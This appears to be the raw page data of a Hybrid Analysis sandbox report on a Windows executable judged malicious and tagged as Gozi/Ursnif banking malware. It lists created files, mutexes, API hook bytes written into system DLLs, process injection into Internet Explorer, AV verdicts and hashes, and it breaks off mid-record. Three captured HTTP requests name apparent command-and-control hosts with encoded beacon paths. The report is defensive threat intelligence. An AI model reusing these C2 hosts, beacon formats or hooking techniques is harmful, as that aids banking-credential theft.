24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 31:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T496,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Graftor.Generic Sample 8699504581b6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 8699504581b6…. Malware family: Graftor.Generic. Threat score 100/100. 15/28 AV engines flagged this file. 5 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052","keywords":["Malicious","Graftor.Generic","malware analysis","sandbox report","threat intelligence","8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052"],"about":{"@type":"SoftwareApplication","name":"2018-10-17_23-05-46.exe","applicationCategory":["peexe","executable"],"identifier":"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Graftor.Generic","antivirusDetections":{"malicious":15,"total":28},"behavioralIndicators":{"malicious":5,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T6cc,"iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFD236DF6ADCBA0EF6.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFAB7BA8D1DD40972C.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF0D9D725FBDF53657.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF42A4B4A9D9FA0283.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF72B4DAA66B49BB75.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF1FF778F2F7CB9596.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF312514672E93FDDB.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFCC49D80FC80DB900.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\JavaDeployReg.log" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFFB25979BEBB0AB06.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF53D3EC81E9C37DE1.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF01ADE7CBDB1A5BDF.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFCF09920FB61A0868.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF022DCCCA1E466CA5.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFFAE4286CCF3B9A1E.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFA680C40C143E1E61.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF095611A37D24D6D7.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DF64C75F10686FA324.TMP" "iexplore.exe" created file "C:\Users\%OSUSER%\AppData\Local\Temp\~DFACC62FECBC2820F2.TMP"26:T60b,"\Sessions\1\BaseNamedObjects\IESQMMUTEX_0_208" "\Sessions\1\BaseNamedObjects\Local\_!MSFTHISTORY!_" "\Sessions\1\BaseNamedObjects\Local\c:!users!%OSUSER%!appdata!local!microsoft!windows!temporary internet files!content.ie5!" "\Sessions\1\BaseNamedObjects\Local\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!cookies!" "\Sessions\1\BaseNamedObjects\Local\c:!users!%OSUSER%!appdata!local!microsoft!windows!history!history.ie5!" "\Sessions\1\BaseNamedObjects\Local\WininetStartupMutex" "\Sessions\1\BaseNamedObjects\Local\WininetConnectionMutex" "\Sessions\1\BaseNamedObjects\Local\WininetProxyRegistryMutex" "\Sessions\1\BaseNamedObjects\Local\!BrowserEmulation!SharedMemory!Mutex" "\Sessions\1\BaseNamedObjects\Local\ZoneAttributeCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" "\Sessions\1\BaseNamedObjects\RasPbFile" "\Sessions\1\BaseNamedObjects\ConnHashTable<3364>_HashTable_Mutex" "\Sessions\1\BaseNamedObjects\Local\ZonesCounterMutex" "\Sessions\1\BaseNamedObjects\Local\!IETld!Mutex" "\Sessions\1\BaseNamedObjects\Local\c:!users!%OSUSER%!appdata!roaming!microsoft!windows!ietldcache!" "\Sessions\1\BaseNamedObjects\Local\RSS Eventing Connection Database Mutex 00000d24" "\Sessions\1\BaseNamedObjects\Local\Feed Eventing Shared Memory Mutex S-1-5-21-4162757579-3804539371-4239455898-1000" "\Sessions\1\BaseNamedObjects\Local\Feed Arbitration Shared Memory Mutex [ User : S-1-5-21-4162757579-3804539371-4239455898-1000 ]"27:T663,"GET /wpx/P2amrIkcijxmjY2qL_2BM/2oAzAwE0GHKLbWGm/9AcmSAAEqymDu0z/I1AZqYnjOO2nPjVpd1/aUEToP0Nb/nQFijabhF1MJJ2QEEujP/O0ny6UYrPEh_2FGGXll/mtKCjWdhdmlPWThFLTZoYF/9U0ag_2B0wIli/9CkRV2hr/Y7yzuvL91qL01zk62vn_2FN/hwuYNTHhsR/aYU1T3aCrSpInof9j/f2Gdl078/pcL HTTP/1.1Accept: */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Accept-Encoding: gzip, deflateHost: api.xc78cx.atConnection: Keep-Alive" "GET /wpx/8iguPIEBLRPsBgDd5/WP568XYeOA3_/2FQHrbQ_2F_/2BMQYaJ5L9D1I1/CY1nND2ZvhZsYpTXYeP62/HFbLom3kVPU7_2Bz/cHyYeFJpYAMYVcB/qAmUyAwPSF6DOD7yK8/MjkHVTd0a/yAU3iJ8yTXn_2BNpQDlh/cq1ks0I6h5QzrMK92DT/mS2LkkwMR_2FxmPdjW2whU/dbgzWTOCtxzCO/ZAE5q0N2ah0Uzr/5r_2F95 HTTP/1.1Accept: */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Accept-Encoding: gzip, deflateHost: x1.eromov.atConnection: Keep-Alive" "GET /wpx/BPwSVDGvh6puxVK8J/rbz_2Fr1oKbo/g6_2BCRYIUG/YOnjvlACeDiVCN/IPrgnL94MaoFEw7f1Uqyr/4lqEhgrDIBKztAER/9nPqQWpR6rmxrtd/j4aTTeyehvKp2sQMI4/u0whF6dFY/MHMthvArdhChwMZ3TFZo/llr5yKQLPgzah3mDH1P/fANWu5Fx5bdgBkm6a5oKtn/hzfTWDSmYkc9U/3E8bUCl9W5/1 HTTP/1.1Accept: */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Accept-Encoding: gzip, deflateHost: chat.ahohri.atConnection: Keep-Alive"28:T5c9,"httpErrorPagesScripts[1]" has type "UTF-8 Unicode (with BOM) text with CRLF CR line terminators" "~DF8DAEEE8A51A5D732.TMP" has type "data" "~DF983151676FDD2BCF.TMP" has type "data" "RecoveryStore.{E0CE6B03-D282-11E8-A9FB-0A0027BB3F0D}.dat" has type "Composite Document File V2 Document No summary info" "~DFFB25979BEBB0AB06.TMP" has type "data" "RecoveryStore.{FB8AAF53-D277-11E8-A9FB-0A0027BB3F0D}.dat" has type "Composite Document File V2 Document No summary info" "dnserror[1]" has type "HTML document UTF-8 Unicode (with BOM) text with CRLF line terminators" "~DFACC62FECBC2820F2.TMP" has type "data" "favcenter[1]" has type "PNG image data 16 x 16 8-bit/color RGBA non-interlaced" "RecoveryStore.{40FCA783-D272-11E8-A9FB-0A0027BB3F0D}.dat" has type "Composite Document File V2 Document No summary info" "RecoveryStore.{2FD88FB3-D288-11E8-A9FB-0A0027BB3F0D}.dat" has type "Composite Document File V2 Document No summary info" "~DF28804B573A2DE332.TMP" has type "data" "{6DDACCA4-D27D-11E8-A9FB-0A0027BB3F0D}.dat" has type "Composite Document File V2 Document No summary info" "~DFD236DF6ADCBA0EF6.TMP" has type "data" "down[1]" has type "PNG image data 15 x 15 8-bit/color RGBA non-interlaced" "{E0CE6B04-D282-11E8-A9FB-0A0027BB3F0D}.dat" has type "Composite Document File V2 Document No summary info" "noConnect[1]" has type "PNG image data 48 x 48 8-bit/color RGBA non-interlaced" "tools[1]" has type "PNG image data 16 x 16 8-bit/color RGBA non-interlaced"29:Ta61,"iexplore.exe" wrote bytes "e99ac304f8" to virtual address "0x770B2694" ("PageSetupDlgW@COMDLG32.DLL") "iexplore.exe" wrote bytes "e99cf39cf9" to virtual address "0x7572E869" ("MessageBoxIndirectA@USER32.DLL") "iexplore.exe" wrote bytes "92e6287779a82d77be722d77d62d2d771de2287705a22d77bee32877616f2d7768412b7700502b7700000000ad3740778b2d4077b641407700000000" to virtual address "0x74931000" (part of module "WSHTCPIP.DLL") "iexplore.exe" wrote bytes "e92e0d9ef9" to virtual address "0x7571CF42" ("DialogBoxParamA@USER32.DLL") "iexplore.exe" wrote bytes "e9b94380f9" to virtual address "0x756F3B9B" ("DialogBoxParamW@USER32.DLL") "iexplore.exe" wrote bytes "e9efb9defa" to virtual address "0x7431388E" ("PropertySheetW@COMCTL32.DLL") "iexplore.exe" wrote bytes "7739297779a82d77be722d77d62d2d771de2287705a22d77c8682c7757d13377bee32877616f2d7768412b7700502b7700000000ad3740778b2d4077b641407700000000" to virtual address "0x74E21000" (part of module "WSHIP6.DLL") "iexplore.exe" wrote bytes "e954a19ff9" to virtual address "0x75703B7F" ("DialogBoxIndirectParamW@USER32.DLL") "iexplore.exe" wrote bytes "e9b34b8ef9" to virtual address "0x756DEC7C" ("CreateWindowExW@USER32.DLL") "iexplore.exe" wrote bytes "40532b7758582c77186a2c77653c2d770000000000bf7e750000000056cc7e75000000007cca7e7500000000376845756a2c2d77d62d2d7700000000206945750000000029a67e7500000000a48d457500000000f70e7e7500000000" to virtual address "0x773C1000" (part of module "NSI.DLL") "iexplore.exe" wrote bytes "e9fc79d4fa" to virtual address "0x743B7922" ("PropertySheet@COMCTL32.DLL") "iexplore.exe" wrote bytes "c4ca7e7580bb7e7560ba7e759fbb7e7508bb7e7546ce7e7561387f75de2f7f75d0d97e75000000001779db754f91db757f6fdb75f4f7db7511f7db75f283db75857edb7500000000" to virtual address "0x6DD41000" (part of module "MSIMG32.DLL") "iexplore.exe" wrote bytes "e96ff19cf9" to virtual address "0x7572E9C9" ("MessageBoxExA@USER32.DLL") "iexplore.exe" wrote bytes "e937f29cf9" to virtual address "0x7572E963" ("MessageBoxIndirectW@USER32.DLL") "iexplore.exe" wrote bytes "e9c20a9ef9" to virtual address "0x7571D274" ("DialogBoxIndirectParamA@USER32.DLL") "iexplore.exe" wrote bytes "e9e9f09cf9" to virtual address "0x7572E9ED" ("MessageBoxExW@USER32.DLL") "iexplore.exe" wrote bytes "e939545af9" to virtual address "0x75B593FC" ("OleCreatePropertyFrameIndirect@OLEAUT32.DLL") "iexplore.exe" wrote bytes "e9fda460f9" to virtual address "0x75AF4731" (part of module "OLEAUT32.DLL") "iexplore.exe" wrote bytes "e98b8e60f9" to virtual address "0x75AF5DEE" (part of module "OLEAUT32.DLL") "iexplore.exe" wrote bytes "e92e0d9ef9" to virtual address "0x7571CF42" (part of module "USER32.DLL")2a:T7a0,".exe" wrote 32 bytes to a remote process "C:\8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe" (Handle: 92) ".exe" wrote 52 bytes to a remote process "C:\8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe" (Handle: 92) ".exe" wrote 4 bytes to a remote process "C:\8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe" (Handle: 92) ".exe" wrote 57344 bytes to a remote process "C:\8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052.exe" (Handle: 92) "iexplore.exe" wrote 32 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 772) "iexplore.exe" wrote 52 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 772) "iexplore.exe" wrote 4 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 772) "iexplore.exe" wrote 32 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 800) "iexplore.exe" wrote 52 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 800) "iexplore.exe" wrote 4 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 800) "iexplore.exe" wrote 32 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 784) "iexplore.exe" wrote 52 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 784) "iexplore.exe" wrote 4 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 784) "iexplore.exe" wrote 32 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 804) "iexplore.exe" wrote 52 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 804) "iexplore.exe" wrote 4 bytes to a remote process "C:\Program Files\Internet Explorer\iexplore.exe" (Handle: 804)2b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////////////+f////4D////PP///89////wP///w/8eAB//wP3///8L////9/////f///73////d////5f////j////8f////h/////n///x8///+AD///4/P///x8////jz////PP///8B/////////////////////w==2c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////////////+f////4D////PP///89////wP///w/8eAB//wP3///8L////9/////f///73////d////5f////j////8f////h/////n///x8///+AD///4/P///x8////jz////PP///8B/////////////////////w==2d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////////////+f////4D////PP///89////wP///w/8eAB//wP3///8L////9/////f///73////d////5f////j////8f////h/////n///x8///+AD///4/P///x8////jz////PP///8B/////////////////////w==2e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////////////+f////4D////PP///89////wP///w/8eAB//wP3///8L////9/////f///73////d////5f////j////8f////h/////n///x8///+AD///4/P///x8////jz////PP///8B/////////////////////w==2f:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////////////+f////4D////PP///89////wP///w/8eAB//wP3///8L////9/////f///73////d////5f////j////8f////h/////n///x8///+AD///4/P///x8////jz////PP///8B/////////////////////w==30:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////////////////+f////4D////PP///89////wP///w/8eAB//wP3///8L////9/////f///73////d////5f////j////8f////h/////n///x8///+AD///4/P///x8////jz////PP///8B/////////////////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790488021811,"unified_at":"2026-09-27T05:47:01.811Z","metadata":{"hashes":{"sha256":"8699504581b66c1103731360d971270414f99637a2121f1a2f937096937b1052","sha1":"99dff235f4528964e20ee241494225c71d50528a","md5":"f071578dc23ba2f0c1439da3adb9c5b6","sha512":"d2761e55804b52a8896f54cc5ff08bbcb502b4c8a4d03db243e527bebae3f93a34f90b0f0b2cc0a06dd638bc82ca292d39744a459a5faedd56d83148242d6756","ssdeep":"1536:CukBGphOLBAFx/Y/dFDRMxr7XolMZ5krlVO:CJiCE/Y/dFiRolq2lVO","ssdeep_chunks":["1536:CukBGph","1536:ukBGphO","1536:kBGphOL","1536:BGphOLB","1536:GphOLBA","1536:phOLBAF","1536:hOLBAFx","1536:OLBAFx/","1536:LBAFx/Y","1536:BAFx/Y/","1536:AFx/Y/d","1536:Fx/Y/dF","1536:x/Y/dFD","1536:/Y/dFDR","1536:Y/dFDRM","1536:/dFDRMx","1536:dFDRMxr","1536:FDRMxr7","1536:DRMxr7X","1536:RMxr7Xo","1536:Mxr7Xol","1536:xr7XolM","1536:r7XolMZ","1536:7XolMZ5","1536:XolMZ5k","1536:olMZ5kr","1536:lMZ5krl","1536:MZ5krlV","1536:Z5krlVO","3072:CukBGph","3072:ukBGphO","3072:kBGphOL","3072:BGphOLB","3072:GphOLBA","3072:phOLBAF","3072:hOLBAFx","3072:OLBAFx/","3072:LBAFx/Y","3072:BAFx/Y/","3072:AFx/Y/d","3072:Fx/Y/dF","3072:x/Y/dFD","3072:/Y/dFDR","3072:Y/dFDRM","3072:/dFDRMx","3072:dFDRMxr","3072:FDRMxr7","3072:DRMxr7X","3072:RMxr7Xo","3072:Mxr7Xol","3072:xr7XolM","3072:r7XolMZ","3072:7XolMZ5","3072:XolMZ5k","3072:olMZ5kr","3072:lMZ5krl","3072:MZ5krlV","3072:Z5krlVO","1536:CJiCE/Y","1536:JiCE/Y/","1536:iCE/Y/d","1536:CE/Y/dF","1536:E/Y/dFi","1536:/Y/dFiR","1536:Y/dFiRo","1536:/dFiRol","1536:dFiRolq","1536:FiRolq2","1536:iRolq2l","1536:Rolq2lV","1536:olq2lVO"],"imphash":"401cae9de5e1dcfe0170a3abf211160f"},"file_info":{"file_name":"2018-10-17_23-05-46.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":59392,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1539785791000,"last_seen":1676506535000,"last_multi_scan":1676506535000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["banking","commodity","criminal","gozi","isfb","ursnif"]},"stats":{"av":{"malicious_count":15,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":10},"sandbox_signatures":{"informative_count":19,"suspicious_count":16,"malicious_count":5,"total":40},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Yakes","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win32.Fuerboos","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1243627","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA